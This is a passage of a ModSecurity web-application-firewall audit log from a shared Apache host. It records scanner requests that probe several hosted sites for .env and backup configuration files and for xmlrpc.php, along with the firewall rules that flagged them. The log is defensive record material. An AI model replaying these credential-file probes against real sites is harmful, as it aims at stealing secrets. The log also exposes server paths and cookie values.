<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ecd7cc54dc87b1f19a278af0d16af9301750027742; expires=Sun, 15 Jun 2025 23:49:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --420a0c70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.staging"] [unique_id "aE9N3salTF-TysO2fMOANQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027742145772 715472 (- - -) Stopwatch2: 1750027742145772 715472; combined=2045, p1=365, p2=1597, p3=0, p4=0, p5=83, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --420a0c70-Z-- --b588952f-A-- [16/Jun/2025:04:19:05.788632 +0530] aE9N4H2GhYywD7zZgx4CrwAAAAM 128.199.112.101 48902 127.0.0.1 7081 --b588952f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b588952f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b588952f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9N4H2GhYywD7zZgx4CrwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027744829550 959161 (- - -) Stopwatch2: 1750027744829550 959161; combined=2661, p1=397, p2=1662, p3=46, p4=71, p5=279, sr=103, sw=206, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b588952f-Z-- --e045791e-A-- [16/Jun/2025:04:19:12.977686 +0530] aE9N6LV9qKUox3X8g1YkzgAAAAg 54.87.236.129 38160 127.0.0.1 7081 --e045791e-B-- GET / HTTP/1.0 Host: www.3econcepts.com X-Real-IP: 54.87.236.129 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: EmailWolf 1.00 Accept-Charset: utf-8 Accept-Encoding: gzip --e045791e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Link: <https://www.3econcepts.com/wp-json/>; rel="https://api.w.org/", <https://www.3econcepts.com/wp-json/wp/v2/pages/43>; rel="alternate"; title="JSON"; type="application/json", <https://www.3econcepts.com/>; rel=shortlink Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 23546 Connection: close Content-Type: text/html; charset=UTF-8 --e045791e-H-- Message: Warning. Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\.weblogs\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\bdatacha0s\\b|; widows|\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/modsecurity.d/rules/comodo_free/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.3econcepts.com|F|4"] [data "EmailWolf"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\\\\\.weblogs\\\\\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\\\\\bdatacha0s\\\\\\\\b|; widows|\\\\\\\\\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/modsecurity.d/rules/comodo_free/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.3econcepts.com|F|4"] [data "EmailWolf"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.3econcepts.com"] [uri "/"] [unique_id "aE9N6LV9qKUox3X8g1YkzgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/3econcepts.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027752205256 772494 (- - -) Stopwatch2: 1750027752205256 772494; combined=14776, p1=394, p2=1584, p3=47, p4=12675, p5=76, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e045791e-Z-- --3a95c108-A-- [16/Jun/2025:04:19:22.218756 +0530] aE9N8VxTdrwJSUMoZvGy5gAAAAc 185.177.72.210 60268 127.0.0.1 7081 --3a95c108-B-- GET /database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3a95c108-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=12c65a0d95c7e1b4b7ceb730c94145891750027762; expires=Sun, 15 Jun 2025 23:49:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3a95c108-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/database/.env"] [unique_id "aE9N8VxTdrwJSUMoZvGy5gAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027761549899 668957 (- - -) Stopwatch2: 1750027761549899 668957; combined=2467, p1=566, p2=1796, p3=0, p4=0, p5=105, sr=158, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a95c108-Z-- --e71abe26-A-- [16/Jun/2025:04:19:24.264384 +0530] aE9N8-xC6fQU5wYvxvlxHgAAAAk 185.177.72.210 60384 127.0.0.1 7081 --e71abe26-B-- GET /:8888/.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e71abe26-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=13f99544847c808983e49b4806050e9a1750027764; expires=Sun, 15 Jun 2025 23:49:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e71abe26-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.txt"] [unique_id "aE9N8-xC6fQU5wYvxvlxHgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027763603082 661408 (- - -) Stopwatch2: 1750027763603082 661408; combined=1794, p1=354, p2=1349, p3=0, p4=0, p5=90, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e71abe26-Z-- --c4a88f11-A-- [16/Jun/2025:04:19:43.353630 +0530] aE9OBpbumDYPKpRD2ekoCgAAAAA 185.177.72.210 39330 127.0.0.1 7081 --c4a88f11-B-- GET /backups/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c4a88f11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3bd80dbd39bbaa5f06fd77c1ee5f624c1750027783; expires=Sun, 15 Jun 2025 23:49:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c4a88f11-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups/config.php.old"] [unique_id "aE9OBpbumDYPKpRD2ekoCgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027782693599 660104 (- - -) Stopwatch2: 1750027782693599 660104; combined=1944, p1=340, p2=1502, p3=0, p4=0, p5=101, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c4a88f11-Z-- --08638704-A-- [16/Jun/2025:04:19:44.351443 +0530] aE9OB32GhYywD7zZgx4CwgAAAAM 185.177.72.210 39374 127.0.0.1 7081 --08638704-B-- GET /credentials/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --08638704-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9e928d4fd121254c8171e93ddfcca83b1750027784; expires=Sun, 15 Jun 2025 23:49:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --08638704-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.backup"] [unique_id "aE9OB32GhYywD7zZgx4CwgAAAAM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.backup"] [unique_id "aE9OB32GhYywD7zZgx4CwgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027783695255 656249 (- - -) Stopwatch2: 1750027783695255 656249; combined=1861, p1=360, p2=1386, p3=0, p4=0, p5=114, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --08638704-Z-- --56128d07-A-- [16/Jun/2025:04:19:48.238316 +0530] aE9OC_NXjUHq-Wm7C_8WugAAAAQ 185.177.72.210 39526 127.0.0.1 7081 --56128d07-B-- GET /:9000/front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --56128d07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c3c9b3bd04796357695919a081cc7871750027788; expires=Sun, 15 Jun 2025 23:49:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --56128d07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/front-app/.env"] [unique_id "aE9OC_NXjUHq-Wm7C_8WugAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027787587276 651123 (- - -) Stopwatch2: 1750027787587276 651123; combined=1692, p1=363, p2=1216, p3=0, p4=0, p5=112, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --56128d07-Z-- --2ab8bc4f-A-- [16/Jun/2025:04:20:05.868037 +0530] aE9OHB-kH31pk4mNbsVHdgAAAAo 128.199.112.101 34552 127.0.0.1 7081 --2ab8bc4f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2ab8bc4f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2ab8bc4f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9OHB-kH31pk4mNbsVHdgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027804880553 987551 (- - -) Stopwatch2: 1750027804880553 987551; combined=2181, p1=376, p2=1365, p3=46, p4=70, p5=199, sr=100, sw=125, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2ab8bc4f-Z-- --c4363d6b-A-- [16/Jun/2025:04:20:06.847118 +0530] aE9OHuxC6fQU5wYvxvlxMQAAAAk 185.177.72.210 34622 127.0.0.1 7081 --c4363d6b-B-- GET /.env.stage HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c4363d6b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ead4722c92331ea270e5fbf9176f331c1750027806; expires=Sun, 15 Jun 2025 23:50:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c4363d6b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.stage"] [unique_id "aE9OHuxC6fQU5wYvxvlxMQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027806187519 659671 (- - -) Stopwatch2: 1750027806187519 659671; combined=2044, p1=396, p2=1551, p3=0, p4=0, p5=97, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c4363d6b-Z-- --81c5bf58-A-- [16/Jun/2025:04:20:18.677173 +0530] aE9OKexC6fQU5wYvxvlxNgAAAAk 185.177.72.210 36256 127.0.0.1 7081 --81c5bf58-B-- GET /:9000/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --81c5bf58-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=62928b099c5b3cc74fb66ad1eb6af49c1750027818; expires=Sun, 15 Jun 2025 23:50:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --81c5bf58-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.bak"] [unique_id "aE9OKexC6fQU5wYvxvlxNgAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.bak"] [unique_id "aE9OKexC6fQU5wYvxvlxNgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027817832646 844600 (- - -) Stopwatch2: 1750027817832646 844600; combined=1684, p1=379, p2=1193, p3=0, p4=0, p5=112, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --81c5bf58-Z-- --bf43e94d-A-- [16/Jun/2025:04:20:21.244949 +0530] aE9OLB-kH31pk4mNbsVHfQAAAAo 185.177.72.210 47542 127.0.0.1 7081 --bf43e94d-B-- GET /:10000/environments/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bf43e94d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c350146a79fbcad2e1da475dd6a84f631750027821; expires=Sun, 15 Jun 2025 23:50:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bf43e94d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/environments/.env"] [unique_id "aE9OLB-kH31pk4mNbsVHfQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027820598081 646930 (- - -) Stopwatch2: 1750027820598081 646930; combined=2146, p1=497, p2=1561, p3=0, p4=0, p5=88, sr=164, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bf43e94d-Z-- --84decb10-A-- [16/Jun/2025:04:20:23.766393 +0530] aE9OLx-kH31pk4mNbsVHfgAAAAo 185.177.72.210 47616 127.0.0.1 7081 --84decb10-B-- GET /twitter/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --84decb10-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0196b31f004d550bdcbfa9e9bdae5f391750027823; expires=Sun, 15 Jun 2025 23:50:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --84decb10-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/twitter/.env"] 